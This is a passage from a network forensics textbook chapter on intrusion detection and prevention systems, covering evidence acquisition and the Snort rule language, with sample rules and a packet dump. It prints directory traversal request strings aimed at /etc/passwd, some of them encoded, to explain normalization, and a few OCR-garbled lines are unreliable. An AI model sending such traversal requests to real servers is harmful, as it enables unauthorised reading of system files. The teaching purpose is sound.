prevention systems (IPSs).” This wasn’t all that difficult to do, as many already included
automated remediative actions as configurable options. It wasn’t a magical new technology
so much as a marketing strategy for selling a “new” product to existing consumers to replace
the “old” in a way that generated revenues that mere feature upgrades couldn’t.

Meanwhile, on the ground, we’'ve been facing the same issues as always, regardless of
the acronym. In a very dynamic and fluid environment (say, the Internet) it is sometimes
difficult to detect adverse and malicious events, particularly when the authors of such events
seek not to have them noticed.

In some cases we can construct sophisticated pattern- or behavioral-matching algorithms
that are exceedingly unlikely to miss the bad actor, rarely producing “false positives” (alert-
ing when nothing bad actually happened) or “false negatives” (failing to alert when some-
thing bad really did happen)—the worst kind of failure. In such cases automated remediation
is a really good idea. However, automated remediation in response to false positives typically
results in a self-inflicted denial-of-service condition. The result is typically that the IPS gets
“tuned down” a bit, until it is simply less capable of alerting on events that might be of
interest.

As investigators, we have to be prepared to evaluate events that might be of interest,
and so we often prefer to have the most data available, even that which may not be deemed
automatically actionable by an IPS. As a result, we must sift events of interest from the
noise.

1. Allison Haines, “Gartner Information Security Hype Cycle Declares Intrusion Detection Systems a
Market Failure: Money Slated for Intrusion Detection Should Be Invested in Firewalls,” June 11, 2003,
http://www.gartner.com/press_releases/prl1june2003c.html.
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TMA (Too Many Acronyms)

Over the years, the IDS/IPS product space has developed two separate niches: network intru-
sion detection/prevention systems (NIDS/NIPS) and host instrusion detection/prevention
systems (HIDS/HIPS). The difference is as follows:

e NIDS/NIPS monitor network traffic and alert on suspicious network events;

e HIDS/HIPS monitor system events and alert on suspicious system activities.

In this book, we focus on forensic analysis of NIDS/NIPS.

7.1 Why Investigate NIDS/NIPS?

In an environment that has been appropriately instrumented to detect potentially adverse
events via network monitoring, it’s very likely that a NIDS/NIPS alert is the starting point
of our investigation. After all, that’s what such deployments are designed to do: tell us
when there’s something going on that we ought to look into. Unfortunately NIDS/NIPS
can’t always reconstruct a sequence of events and explain them to us, at least not easily.
When present, though, they can be as important an event recorder as the “little black box”
aviation authorities search for and analyze after every crash, for similar reasons. NIDS/NIPS
are often involved in network forensics investigations for the following reasons:

e NIDS/NIPS alerts/logs may include details regarding illicit connections—or even
attempts—that are not recorded anywhere else. NIDS/NIPS tend to inspect traffic
in ways that even application-layer firewalls may not, and so can provide a richer
source of information.

e NIDS/NIPS can be configured to alert on, or at least log traffic that firewalls deem
perfectly acceptable. For example, a firewall may not record a port-80 connection to
the web server, but the NIDS/NIPS may note if it contains a malicious URI.

e An investigator could potentially modify a NIDS/NIPS configuration to begin detect-
ing events it wasn’t previously configured to record. These devices are usually well
positioned as inspection points for network traffic.

e Rarely, the NIDS/NIPS itself might be suspected of compromise.

7.2 Typical NIDS/NIPS Functionality

NIDS/NIPS are specialized sniffers, with the added capability of evaluating captured traffic
to determine whether it is malicious or legitimate. There are many different commercial
NIDS/NIPS systems on the market. They all behave differently but provide many of the
same features. NIDS/NIPS typically include:
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e Rules Descriptions of how to compare a packet or stream with known malicious traffic.
e Alerts Lists of suspicious packets/streams.

e Packet captures Certain NIDS/NIPS can be configured to capture suspicious
packets and save them for later analysis. They are not always configured to do this by
default, due to storage constraints.

7.2.1 Sniffing

At a minimum, a network-based intrusion detection system must have access to network
traffic to collect and inspect. This can be done passively, either by connecting it to a mirror-
ing port on a switch or through the use of an inline tap. This can also be done by putting the
NIDS/NIPS itself inline between two devices in a choke point position—typically between
a set of firewalls or routers.

Once the traffic has been collected, several approaches to its inspection can be leveraged,
all of which take some amount of time. If the device is sniffing traffic passively—meaning
that the traffic is not purturbed or detained but merely copied on its way by—this delay
is of little to no consequence. The delay caused by the inspection is likely to be miniscule
compared to the time lag between an alert being sent and a human responder beginning an
investigation.

However, if the device is inline in the traffic’s path (typical for a NIPS), and is actively
filtering the traffic as it inspects it, the delay can cause noticeable latency. Consequently,
many NIPS are not configured to perform as much analysis as a passive NIDS because the
latency introduced by the analysis might interfere with business operations.

This is important for the network investigator to understand. While it might be
advantageous to begin sniffing and analyzing traffic during the course of an investigation,
particularly in ways that weren’t being done previously, modifying an existing NIPS might
not be feasible without disrupting the business. In such situations it might be much better
to temporarily install a separate passive NIDS.

7.2.2 Higher-Layer Protocol Awareness

In the arms race between attackers and network defenders, attackers began to break
malicious traffic into multiple pieces, or encode traffic in sneaky ways, in order to evade
detection. In response, NIDS and NIPS developers incorporated higher-layer protocol anal-
ysis into their systems. Protocol reassembly and normalization of content based on protocol
awareness are two ways in which NIDS and NIPS have evolved to protect against attacks.
These techniques are costly in terms of processing power, but effective.

7.2.2.1 Protocol Reassembly

In order for either a NIDS or a NIPS to accurately detect a wide range of malicious traffic,
these devices must be programmed to properly parse a wide range of protocols. For example,
many years ago a common technique that attackers would use to evade detection by a NIDS
was to intentionally fragment the attack traffic. The assumption was that only the end recip-
ient of the traffic—presumably the target—would reassemble the fragments. Consequently
we learned that we had to build our NIDS to perform fragment reassembly in order to be
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able to see and evaluate what the target would receive and process. Likewise it is common for
the telltale signs of malicious activity to span multiple segments in a TCP stream. In order
for a NIDS/NIPS to accurately inspect such traffic, it must be able to understand TCP’s
statefulness and to perform stream reassembly prior to doing content inspection.

It is this actual content inspection that lends the NIDS/NIPS its power. Most simple
firewalls can easily be programmed to allow only port 80 traffic to a web server, but if the
“legitimate” port 80 connection contains a malicious request, the firewall has no way of
knowing. Because the NIDS/NIPS understands the HTTP protocol, it can look inside the
request and make sure that it is formatted properly, and alert if it contains something it
shouldn’t.

7.2.2.2 Normalization

For certain types of traffic, most notably HTTP, the protocol allows for many different ways
of encoding data. For example, the following GET requests are functionally identical, and
would be handled by a web server in the same manner (hopefully not allowed!):?

GET /../../../../etc/passwd HTTP/1.1

GET %2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1

GET %2f'%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2£7,65%74%63%2£770%61%73%73%77%64
HTTP/1.1

This is an example of a “directory traversal” attack, whereby if the webserver is buggy,
it can be convinced to traverse up and out of its document hierarchy, and then display the
system /etc/passwd file. A NIDS/NIPS that understands the GET method of the HTTP
protocol should have no problem identifying such an attempt. However, given that there
are a nearly infinite number of ways to encode any particular malicious string, we have two
options: either write a “signature” to detect each and every one of the various ways such a
string can be represented, or first “normalize” each string to its “canonical” form, and only
then compare them against the list of “known bad” things.

7.2.3 Alerting on Suspicious Bits

The different ways that NIDS/NIPS are typically built to perform detection are described
below. All NIDS/NIPS can be configured to communicate alerts via various means. The
most common of these include:

e Sending email alerts

e Logging events to a syslog server

e Sending SNMP traps

e Logging events directly to a queriable database

Additionally, a NIDS/NIPS sensor may store alert and event data locally, although as
with other network devices, storage space is likely to be fairly limited, and so these logs will
likely be kept for only short periods of time.

2. Tim Berners-Lee, “RFC 3986—Uniform Resource Identifier (URI): Generic Syntax,” IETF, January 2005,
http://rfc-editor.org/rfc/rfc3986.txt.
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7.2.3.1 Fidelity

The manner in which the alerts are recorded and delivered can matter greatly when consid-
ering the value of the data/evidence produced. Alerts logged via syslog or SNMP traps are
normally fairly “lo-fidelity” in that very little detail about the event is available. Database
logging (usually as part of some sort of proprietary event aggregation system) can often
produce much more detail about how and why the event was detected and determined to
be of interest.

At the other end of the spectrum, some NIDS/NIPS can produce very “hi-fidelity” event
logs, capturing and storing the packets in their entirety (usually in libpcap format). This can
allow an analyst or investigator the ability to see the actual traffic that caused the alerts,
and perhaps best understand why it was deemed “bad” by the NIDS/NIPS.

7.3 Modes of Detection

NIDS/NIPS typically work in three basic ways: using signature-based analysis, protocol
awareness, and/or behavioral analysis techniques.

7.3.1 Signature-Based Analysis

Signature-based analysis is the oldest and most common strategy. This method compares
headers, contents of packets, and streams of packets against databases of known, malicious
byte sequences in order to identify suspicious traffic. Individual packet analysis does not
always work because malicious activity may be spread across groups of packets. Hence,
signature-based NIDS/NIPS have evolved to inspect related traffic that spans multiple frag-
ments of packets, or multiple segments in a stream.

7.3.2 Protocol Awareness

Normal traffic typically conforms to RFC specifications. Malicious traffic often does not.
Attackers often intentionally bend protocols in order to evade detection. Just as the arms
race exists between attacker and defender, it also exists between attacker and detector.
Protocol-aware NIDS/NIPS reassemble fragments (Layer 3), reassemble streams (Layer 4),
and even reconstruct entire protocols (Layer 7) because they have to understand how the
endpoint of the communication will interpret the data. It’s possible for protocols to be broken
in a nonmalicious way by a misconfigured or malfunctioning device. However, protocol abuse
is often a symptom of malicious intent. Either way, it is worth detecting.

7.3.3 Behavioral Analysis

Behavioral analysis is a more recent development in NIDS. The idea behind this approach is
to spend time building a “baseline” of normal network behavior against which to compare
future behavior. The system “learns” what is normal, in order to later detect aberrations.
Alerts may be triggered, for example, if the volume of data per transaction going out of your
web server is two standard deviations greater than the expected mean. Though there is no
indication of protocol violations, or that the content of the web transactions matches any
known bad behavior, this could nonetheless be a very important event to be made aware of.
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7.4 Types of NIDS/NIPSs

NIDS/NIPS can be sold as a commercial product or built in-house. Commercial NIDS/NIPS
are usually made from special hardware designed to improve performance. “Roll-your-own”
NIDS are often built from open-source software such as Snort, which gives users the option
to download free signature updates, or purchase a subscription that provides more timely
access to updates.

7.4.1 Commercial

Regardless of what Gartner may have predicted in 2003, the commercial market for IDS is
very much alive and well, with many of the top IT vendors having made significant acqui-
sitions to cover their positions relative to competitors. One of the early leaders in detective
technologies was Marcus Ranum’s “Network Flight Recorder” (NFR), which was bought
by Check Point (after a failed attempt to purchase Marty Roesch’s “Snort”) and which
presumably has been adopted as the core technology behind Check Point’s IPS-1 product.
Notably, NFR was one of the few NIDS that offered an open language for specifying packet
and traffic signatures, allowing NFR Security’s customers to build their own custom rules
(though the open-source Snort was evolving a simpler and more widely adopted language
around the same time).

Other long-time players in this market have evolved their product lines as well. Cisco’s
“Secure IDS” has morphed into “Cisco IPS” and Enterasys’ Dragon is now “Enterasys IPS.”
IBM purchased Internet Security Systems (ISS), a market leader in both IDS and network vul-
nerability scanning technologies. ISS’s RealSecure sensor has morphed into the “IBM Security
NIPS,” which is now offered as a component of IBM’s Tivoli suite of enterprise management
tools. Meanwhile, TippingPoint’s popular product was subsumed by Hewlett-Packard.

Sourcefire continues to stand alone as the commercial vendor/licenser of Snort, which
in its various for-profit and open-source forms undoubtedly leads the market as the single
most widely deployed NIDS/NIPS technology on the planet. Consequently, we’ll look at its
architecture in depth below.

As of the time of this writing, some common commercial products network forensic
investigators are likely to encounter include (listed alphabetically):

e Check Point IPS-13
Cisco IPS*

e Corero Network Security®

e Enterasys IPS®

3. “Check Point IPS-1—intrusion detection & prevention system (IDS/IPS),” 2011, http://www.checkpoint
.com/products/ips-1/index.html.

4. “Cisco Intrusion Prevention System—Products & Services—Cisco Systems,” 2011, http://www.cisco
.com/en/US/products/sw/secursw/ps2113/index.html.

5. “Intrusion Prevention System (IPS)—Stop DoS, DDoS, SYN Flood, and Cyber Attacks,” 2011,
http://www.corero.com/content/products/intrusion_detection/attack _mitigator.jsp.

6. “Intrusion Prevention System, Secure Networks—Enterasys,” 2011, http://www.enterasys.com/products/
advanced-security-apps/dragon-intrusion-detection-protection.aspx.
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e HP TippingPoint IPS”
e IBM Security NIPS®
e Sourcefire 3D System®

7.4.2 Roll-Your-Own

It is clear why Snort is the most deployed NIDS/NIPS technology: it is both free for use under
the GNU Public License (GPL), and at the same time supported by commercially funded
research and development efforts. Consequently you may encounter Snort used “unofficially”
even within corporate and government environments that have opted to purchase another
commercial vendor’s offering as an “official” solution.

As with any other IT product niche, commercial support, development, and ease of
integration can provide compelling reasons to write checks. However, as an investigator, you
should be aware that you may find custom, “roll-your-own” solutions sitting side-by-side
with a commercial deployment. These devices are often more flexible in their use (being
“unofficial” anyhow), and can more easily be refactored or repurposed during the course of
an investigation—and yet the evidence they collect can be no less valid and useful.

For a long time, Snort was the only real open-source NIDS/NIPS capable of industrial-
scale use, though it appears that with some National Science Foundation funding and an
increasingly energetic following, the Bro system is gaining both in competitiveness and
adoption.

Again, here are the most common noncommercial systems you should expect to
encounter, with references to more information about each. Furthermore, these are sys-
tems that you can and should be prepared to work with during an investigation. Pretty
much everything you need to know about how to do so is available in online manuals, and
both systems have robust communities surrounding them:

e Snort!?

e Brol!

Though both are open-source and free for use, they are really not equivalent projects
in either scope or goal. Due to its commercial ownership and support, Snort is much more
targeted toward enterprise, production deployment. Meanwhile Bro’s development team
states overtly that it “has been developed primarily as a research platform for intrusion
detection and traffic analysis.” These are very complementary goals, and by all appearances,
are very complementary projects where either research or raw investigation is the goal.

7. “HP Networking products: switches, wireless, routers, TippingPoint security, network managment, uc&c,”
2011, http://h10163.www1l.hp.com/products_ips.html.

8. “IBM—IBM Security Network Intrusion Prevention System—Software,” 2011, http://www-01.ibm.com/
software/tivoli/products/security-network-intrusion-prevention/.

9. “Next-Generation Intrusion Prevention System (NGIPS) | Sourcefire Cybersecurity,” 2011, http://www
.sourcefire.com/security-technologies/cyber-security-products/3d-system.

10. “Snort,” 2011, http://www.snort.org/.
11. “The Bro Network Security Monitor,” 2011, http://bro-ids.org/.
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7.5 NIDS/NIPS Evidence Acquisition

Given the wide variation in hardware and software used to build NIDS/NIPS, the precise
evidence that forensic investigators can gather, and the methods for gathering it, can vary
considerably. In this section, we review the general categories of evidence that can be gath-
ered from NIDS/NIPS and discuss the value to investigators and common interfaces for
devices.

7.5.1 Types of Evidence

Depending on the vendor, alerts, rules, and packet captures may be accessed via local
devices’ file systems, web management interfaces, client software, email, etc. In general, the
evidence that we may be able to gather from NIDS/NIPS includes:

e Configuration
e Alert data

e Packet header and/or flow record information

Packet payloads

Activities correlated across multiple sensors

7.5.1.1 Configuration

The configuration of the NIDS/NIPS is fundamentally important for any analysis of alerts
from the device. For example, suppose your investigative environment has a number of IDS
sensors deployed throughout the environment. A very critical alert resulted in escalation and
investigation. The alert in question was only seen in one critical segment. Is that because the
events that triggered it only occurred in that segment, or because sensors in other segments
weren’t configured to look for those events? How would your strategy and the outcome differ
depending on that answer? Without evaluating the relative configurations of the sensors
in the various segments, you have no way of knowing what the possible scope of events
may be.

If a NIDS/NIPS has not been configured to alert upon a particular event, then the
absence of alerts for that event is meaningless. Similarly, it is not possible to determine the
meaning of an alert with certainty, or evaluate whether it is a false positive or negative,
unless you can see precisely what rule triggered the alert. What you do or do not see
coming from an IDS system is wholly dependent upon where the device is placed and what
it has been configured to alert upon. For this reason, we recommend that you gather device
configuration as part of NIDS/NIPS evidence acquisition.

In addition to gathering the boot configuration of the device (usually found in persistent
storage on the device), it’s important to gather the current running configuration whenever
possible. Depending on the NIDS/NIPS software, an administrator may be able to modify
the configuration while the system is running, without writing these changes to disk. In
these instances, the running configuration may be quite volatile, and unless it is manually
written to persistent storage, it will be lost when the device is powered down.
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7.5.1.2 Alert Data

The purpose of a NIDS is to evaluate network traffic based on a set of rules or learned pat-
terns, identify traffic of interest, and produce alerts that humans can act upon. NIDS/NIPS
produce alerts in various formats, ranging from text files to emails to messages in pretty
graphical user interfaces.

Different NIDS/NIPS systems categorize, label, and prioritize alert data differently. Even
when alerts are aggregated from multiple sources, it can be a real challenge to discover that
the manner in which a NIDS/NIPS reports an event on one segment of a network is not
at all the same way an older model on a different segment reports it. There are Security
Information and Event Management (SIEM) systems that seek to “normalize” event data
from disparate sources, but this is often a problem that ends up being solved by humans,
hunkered over lots of events, trying to puzzle them out.

7.5.1.3 Packet Header and/or Flow Record Information

When a packet or flow triggers a NIDS/NIPS alert, the device may log corresponding packet
header and/or flow record data. This can help you identify the origin, destination, and
patterns of activity. It can also help you correlate events from multiple sources.

7.5.1.4 Content Data

In some instances, the NIDS/NIPS may be configured to capture full packet contents from
packets that trigger alerts, and often a certain number of subsequent packets. Packet contents
can be invaluable to the investigator, allowing you to carve out the malware that triggered
an alert or view the actual obfuscated Javascript that an attacker attempted to serve a
client.

Regardless of how hard it can be to sort through volumes of data to figure out what’s
going on, it is usually infinitely more difficult to figure out the nature of events given too
little information about them. Full content captures are limited by the amount of disk space
available on the NIDS/NIPS, in addition to processing power.

7.5.1.5 Activities Correlated Across Multiple Sensors

Topologically and temporally correlated event data is exceptionally useful. Unfortunately,
it is not always available. Relatively few organizations are set up to properly aggregate
security event data, and for good reason: The products that can correlate NIDS/NIPS data
effectively are often prohibitively expensive, and require even more expensive staff and skills
to monitor and maintain. This is challenging for small- and mid-sized operations. Even
large-scale enterprises don’t always go all in with such technologies.

An increasingly common practice is for enterprises to deploy NIDS/NIPS sensor instru-
mentation, but then to direct all of its output to a third-party monitoring service. As an
investigator, you’ll need to determine very quickly if this is being done, as you’ll almost cer-
tainly want to work with the outsourced service provider to gain access to a comprehensive
view of correlated events. After all, this is what they’re being paid to provide, and it sure
beats repeating their work. Even if you are working with an outsourced provider, be aware
that NIDS/NIPS data can be either inaccurate or incomplete, or both. Corroboration is
important no matter where your evidence comes from.
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7.5.2 NIDS/NIPS Interfaces

These days, NIDS/NIPS are almost uniformly designed to be information aggregation
devices, so they are typically deployed with a central analysis console. This is certainly
convenient for the forensic investigator; it’s far better to collect evidence from one central
source than from multiple disparate devices, perhaps in far-flung locations.

A standalone NIDS/NIPS sensor may be used without aggregation, as is common with
point-deployments of Snort and other low-cost systems. In this situation, you may find a
great deal of data without a convenient central analysis tool. The biggest challenge will be
to manually aggregate and correlate the data.

Depending on the particular NIDS/NIPS, evidence can be gathered via a graphical user
interface (GUI), command-line interface (CLI), or a remote log server. Please see Chapter
3 for a detailed discussion of active evidence acquisition.

7.5.2.1 GUI Interfaces

Nearly all modern NIDS/NIPS systems can be accessed, inspected, and configured via some
sort of graphical user interface, whether it’s a web application that can be accessed by a
web client, or a proprietary interface that requires a special client. The degree of inspection
and configuration supported by such interfaces varies, of course, but some vendors strive
to expose every last bit of functionality this way, from signature configuration to alerts
generated. Sometimes you can use the GUI to download the actual packet traces.

7.5.2.2 CLI Interfaces

It may be possible to log onto the NIDS/NIPS via SSH or direct console connection and
use the command-line interface to view configuration, logs, and alerts. Some devices have
historically provided constrained access to a subset of functionality via the command-line,
while others expose entire application programming interfaces (APIs) for nearly infinitely
extensible customizations.

As an example, the NIPS sensors that Sourcefire sells commercially run the same version
of Snort that can be downloaded for free, though they provide an array of configuration and
management utilities in the commercial devices that make enterprise deployments much
simpler and more manageable. Many of these utilities leverage a library of custom Perl
objects that can be used by anyone with the appropriate access credentials and the skills to
employ them (check licensing terms and support contracts before doing so).

7.5.2.3 Off-System Logging

These days, both commercial offerings and open-source systems alike are capable of sending
at least some of the critical evidence to an aggregation repository. Many NIDS/NIPS are
also configured to send alerts via email to system administrators. You may need to inspect
the NIDS/NIPS configuration in order to figure out where the system is sending logs (passive
analysis of the traffic from the device may also do the trick). The local device configuration
will also provide you with an understanding of the level of detail and fidelity of the remote

logging.
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7.6 Comprehensive Packet Logging

We'’ve discussed various ways that packet activity can be logged: routers and firewalls can
log the packet event with source and destination information; NIDS/NIPSs can record the
total packet content from metadata (header info) down to the payload contents.

However, where full content packet logging is occurring on NIDS/NIPS, almost uniformly
the only packets being captured and made available for future inspection are the ones that
trigger actual alerts. NIDS/NIPS generally are not configured (or configurable) to capture
the packets that preceded an incident, nor the ones that followed. That can pose a serious
problem for the investigator: often very little can be gleaned from a single packet, as too
much of the context is unavailable.

One way of countering this problem is to intentionally construct a persistent packet
sniffing device. This is a sniffer configured to record every one and zero that traverses the
link it monitors. It’s job is not to alert on any specific condition, but rather to ensure that it
has recorded all of the data available, along with critically accurate timestamp information.

The benefits of such a device are instantly obvious. Whereas NIDS/NIPS rarely capture
much more than a single packet per event (the one that tripped the trigger), that single
packet can subsequently be located in a comprehensive packet log, and its context exam-
ined. The stream that contained it, if it was part of a stateful session, can be isolated and
reconstructed. If it was part of a stimulus, the response may be located and investigated. If
it was part of a response, perhaps the stimulus can be determined.

All of the previous caveats with respect to packet captures still apply, however:

e It can require a lot of CPU.
e It can require a lot of disk.

e It can also pose a huge security risk!

7.6.0.4 Evidence that May Be Available

The possession of full-content packet captures, that contain packets which correlate with
NIDS/NIPS alerts, is pretty much the dream scenario. There is virtually nothing left
wanting—so long as time skew and time zone can be dealt with. As to the former, many
tools can be programmatically configured to adjust for skews—either on input, or on dis-
play, or both—and to aggregate based on an absolute time (such as GMT-0). We discuss
the latter issue in Chapter 8. To summarize the bounty:

e Packet headers
— Suitable for traffic analysis
— Similar to pen registers, trap/trace

e Packet payloads

— Suitable for full transaction reconstruction

— Similar to full wiretap
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When such packet captures are available, they can be used in conjunction with other
event data (such as NIDS logs) in order to reconstruct entire events. If full payloads are
stored, entire sessions can be reconstructed, and files recovered intact. Perfect-fidelity copies
of evidence can be acquired in this way, every bit as successfully as from the hard drive to
which they were written, or from which they were transferred.

Since packet capturing is usually performed with tcpdump or another libpcap-based tool
retrieval and analysis of the logs is usually performed with libpcap-based tool as well. The
Berkeley Packet Filter language becomes critical for such analysis, as finding the critical
traffic can pose an overwhelming task. See Chapter 3 for details.

7.7 Snort

As discussed, the open-source Snort product is arguably the single most widely distributed
NIDS in the world. It is sometimes used alongside commercial products. In this section we
focus on Snort in particular depth because of its large market share.

Snort is a libpcap-based utility, and therefore shares all of the functionality that tcpdump
and others possess. However, rather than being limited to Layer 2 through Layer 4 analysis,
Snort has the capability to do much deeper packet inspection. It can analyze arbitrary
network traffic using two basic techniques: protocol analysis and signature analysis.

Snort’s rule language is open source, so we can easily discuss how rules are written to find
individual packets. Anyone who has used tcpdump on a busy network interface is quickly
overwhelmed by the fact that there is so much traffic it’s difficult to find what you're looking
for. Snort is a tool that illustrates our ability to find the needle in the haystack.

As our friend Rob Lee says, “If you know what you're looking for and where to look,
nothing is hidden.”

An overview of Snort:

e Most widely used NIDS
e Open-source code

e Open rule language

Extremely versatile

Actively improving, partly due to commercial support

7.7.1 Basic Architecture

Snort’s basic architecture is as follows:

e Snort pulls packets in using libpcap, from whichever interface is specified, either at
the command-line or in the configuration file.

e Snort passes all packets through preprocessors for reassembly and protocol analysis.
These preprocessors roughly mirror the OSI layers:

— At Layer 3, it reassembles fragments

— At Layer 4, it reassembles streams
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— At Layer 5, it reassembles circuits/sessions
— At Layer 7, it reassembles transactions

o If at any of those layers, Snort detects anomalies, it can alert. The degree to which
Snort does protocol analysis and reconstruction is configurable.

e After all of the preprocessing has been completed, the analyzed information is handed
off to the Snort rule engine. This engine can then use any and all of the protocol
information, as well as the payload contents (parsed or raw) to detect malicious traffic.

e The output engine is then invoked to determine how any resulting alerts will be com-
municated to the end-user. This can range from Snort’s native text-based alerting to
syslog and SNMP alerts.

Any packet that triggers an alert, either through preprocessors or signatures, is by default
captured in libpcap format, and can be used by analysts to further investigate the cause of
the alert. Snort can be configured to capture subsequent related traffic.

7.7.2 Configuration

By default on Linux systems, the important Snort files and directories are:

e /etc/snort/snort.conf This file is where global values for Snort are declared, in-
cluding the internal/external network definitions, how the preprocessors will be con-
figured, how the output processors will be configured for logging, and the inclusion of
major chunks of rules.

e /etc/snort/rules/ This directory contains the rules files themselves. Within each
file, rules can be individually disabled or enabled.

e /var/log/snort/ This directory contains the native alerts file, where Snort records
text-based alerts, and the libpcap files with corresponding packet captures.

The locations of these Snort files/directories are fully configurable.

7.7.3 Snort Rule Language

Snort rules are defined by text-based language, one line per rule. These rules are contained in
numerous files, which by default contain thousands of available rules distributed by Source-
fire’s Vulnerability Research Team (VRT). Each rule may be enabled or disabled by default,
based on what the VRT deems is useful in a typical environment. All Snort rules must con-
tain a Snort ID (SID), which identifies that particular rule. SIDs lower than 1 million are
reserved for the Sourcefire VRT; SIDs between 1 and 2 million are reserved for a freelance,
open-source community called “Emerging Threats.” '2 Local rules can be built, but should
always be numbered greater than or equal to 2 million. When creating customized local
rules, best practice is to copy an existing rule to the local rules file, disable the commercial

12. “Emerging Threats,” 2011, http://www.emergingthreats.net/.
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rule, and enable the modified local version. This way if the original rule is updated by the
VRT, the update won’t clobber your local changes.

7.7.3.1 Rule Header

The Snort rule header consists of seven fields, space delimited, as follows:

Action: This field describes what the Snort sensor should do when a packet is discov-
ered to match the rule. Typical actions are alert, log, pass, and drop.

Protocol: This field delineates the protocol the packet must be employing to match
the rule. Possible values are icmp, tcp, udp, or the general case, ip.

Source IP /network and port: These fields describe what the source of a packet must
be to qualify as a match.

Directionality operator: This field allows the rule author to specify whether a match
can occur in one direction only (from source to destination) or bidirectionally. The
allowed values are “->” and “<>”.

Destination IP/network and port: These fields describe what the destination of a
packet must be to qualify as a match.

Here are three examples of Snort rule headers, which we examine in turn.

alert tcp any any -> 192.168.2.1 80 (...)

For any TCP segment that is from any source at all and that is destined specifically
to port 80 on host 192.168.2.1, compare it with the rule body. If a match is found,
both log the packet and issue an alert.

log udp 192.168.1.1 53 -> 1192.168.1.0/24 any (...)

For any UDP datagram that originates from port 53 on host 192.168.1.1 and that is
destined for anywhere except the 192.168.1.0/24 network, compare it with the rule
body. If a match is found, log the packet, but do not alert on the event.

drop ip $EXTERNAL_NET any <> $HTTP_SERVERS $HTTP_PORTS (...)

Here we notice variable names instead of sources and destinations. This is the most
common practice when writing rules, as keeping specific network ranges defined in a
single place (typically the snort.conf file) allows us to change the network topology or
the location of the sensor without having to edit all the rules. In this case we assume
the rule we’re looking at is used in an in-line IPS, because the action is “DROP.” This
rule will evaluate any IP packet against the rule body if it is coming from an external
source and destined for the predefined HTTP servers. If the rule body also matches
the packet, the packet is dropped.
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7.7.3.2 Rule Body

The Snort rule body consists of a semicolon-delimited list of rule “options” bracketed by
parentheses:

e General options (metadata about events) provide a way of specifying information
about the rule, it’s purpose, revision, etc. These are often referred to as “metadata”
options.

e Detection options (stepwise instructions for matching packets or streams) include:

— “nonpayload” detection specifications (based on Layer 3 and Layer 4 protocol
fields) such as: TTL, TOS, sequence and acknowledgment numbers (for TCP),
ICMP types and codes, etc.

— “payload” detection specifications (based on Layer 5 content and above in IPv4)
such as: content, pcre (Perl-compatible regular expression), depth, offset, and
many more.

e Post-detection options (what to do if there is a match) describe on a rule-by-rule basis
actions to take if a match is encountered.

General Rule Options (metadata about events) include:

e msg: This is the descriptive title that will be attached to any resulting alerts. It should
make clear to the intrusion analyst what the event is about, at a glance.

e sid: The required Snort ID number that uniquely identifies the rule.

e rev: The rule’s revision number. The combination of “sid” and “rev” define rules
uniquely.

e reference: An optional pointer to background information, often a CVE number, Bug-
traq ID, or URL. While not required, this option is typically one of the most useful
metadata options, as it can help the analyst understand why a rule was written in the
first place, and what it’s testing.

Note: Not all “options” are optional!

Nonpayload Detection Rule Options essentially expose for examination and comparison
any and all of the protocol data that has been dissected and evaluated by the various pre-
processors as the packet is passed up the stack. These options are the most efficient for
the Snort engine to evaluate, as they operate on data that has already been structurally
parsed and preserved (rather than on laborious searches through unparsed payload data).
As a consequence, they are often relied upon as heavily as possible in order to weed out
the packets that should not be given further, less efficient deep-packet inspection. The best
example of this is the use of flow tracking by the TCP state engine. If a particular type of
maliciousness can only manifest itself as part of a connection from a server to a client, and
not vice versa, then monitoring the appropriate simplex side of the connection is all that
is required.
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Nonpayload detection rule options include:

e Comparison operators for all of the protocol fields in the:

— IP packet header (TTL, fragmentation information, embedded protocol, IP op-
tions, etc.)

— TCP segment header (TCP flags and stateful flow inspection, sequence, and ac-
knowledgment numbers, window size, etc.)

— ICMP header (ICMP type and code, as well as sequence values)

e Comparison operators for sameip, stream_size, RPC call number

Payload Detection Rule Options are used to inspect the contents of the payload of packets
and streams in intelligent ways in order to determine if any packets match known bad sig-
natures. The payload contents can be matched against ASCII strings, hexadecimal (binary)
sequences (including for non-ASCII encodings), and also Perl-compatible regular expressions
(PCRE). Such comparisons can be made against the payload as a whole (from end to end)
or against sections of the payload selected by either relative or absolute position in order to
facilitate Layer 7 protocol parsing. Additionally, some amount of Layer 7 protocol awareness
comes built in. For efficiency’s sake, you can search for content in the parsed-out URL of
HTTP transactions, rather than having to search for it in every packet’s entire payload.
Payload detection rule options include:

e Content matching for:
— ASCII strings
— Binary sequences
— PCREs
e Layer 7-specific protocol data, such as HT'TP URIs and SMTP commands
e Absolute- and relative-positional searches, based on previous content matches
Post-Detection Rule Options exist to give rule authors the ability to translate rule matches

into specific actions on a rule-by-rule basis, which then overrides the global Snort configu-
ration. Such actions include:

e Causing the alert and packet logging for the given rule to be handled in a different
way than other alerts.

e Triggering the capture of some or all of the subsequent packets in a stream after a
single packet has caused a rule to fire.

e Active response mechanisms, including the bidirectional reset of TCP connections
and the sending of ICMP Destination Unreachable packets, spoofed at each end of the
virtual circuit.



7.7 Snort 273

7.7.4 Examples

In this section we consider a couple of fairly simple Snort rules, examine packets that would
trigger them, and then inspect the alerts that would result. Understanding how these three
items correlate is very useful for any investigator.

e Snort Rule #1

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING"; icode:0;
itype:8; classtype:misc-activity; sid:384; rev:5;)

Above, we see a rule that will alert on any inbound ICMP traffic that is of type 8

code 0: an “Echo Request.” It is the fifth revision of the VRT’s rule number 384, and

has been assigned a “classtype” that confers a priority of “3” (although you’d have to

look at the Snort configuration to know that last part).

e Snort Packet #1

03:12:08.359790 IP 10.0.1.10 > 10.0.1.254: ICMP echo request, id 32335,
seq 0, length 64

0x0000: 4500 0054 eac8 0000 4001 78d9 0a00 010a E..T....Q@.x. ....
0x0010: 0a00 O1fe 0800 75e4 T7ed4f 0000 e801 e349 . ..... u."0..... I
0x0020: 487d 0500 0809 0aOb 0cOd 0eOf 1011 1213 H}. ...............
0x0030: 1415 1617 1819 1lalb 1cld 1lelf 2021 2223 ............... [ 3
0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+,-./0123
0x0050: 3435 3637 4567

Here we see an ICMP packet that is indeed an Echo Request. If we presume that
10.0.1.10 is part of the SEXTERNAL_NET definition, and 10.0.1.254 is within the
$HOME_NET range, we would expect a match and an alert.

e Snort Alert #1

[**] [1:384:5] ICMP PING [*x]

[Classification: Misc activity] [Priority: 3]
